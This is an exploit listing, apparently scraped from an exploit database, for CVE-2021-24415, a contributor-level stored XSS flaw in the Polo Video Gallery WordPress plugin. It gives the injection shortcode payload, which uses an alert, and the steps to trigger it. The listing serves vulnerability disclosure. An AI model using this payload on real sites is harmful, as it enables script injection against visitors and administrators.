Exploit for Polo Video Gallery <= 1.2 - Contributor+ Stored Cross-Site Scripting CVE-2021-24415

Name: Exploit for Polo Video Gallery <= 1.2 - Contributor+ Stored Cross-Site Scripting CVE-2021-24415
Rating: 5 (319 reviews)

2021-09-20 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:FD312BFD-7C98-4682-877D-846442E9C6A2
Log in as contributor and add the following shortcode in a post [vgallery id="=0; alert();x"]

Then view the post to trigger the XSS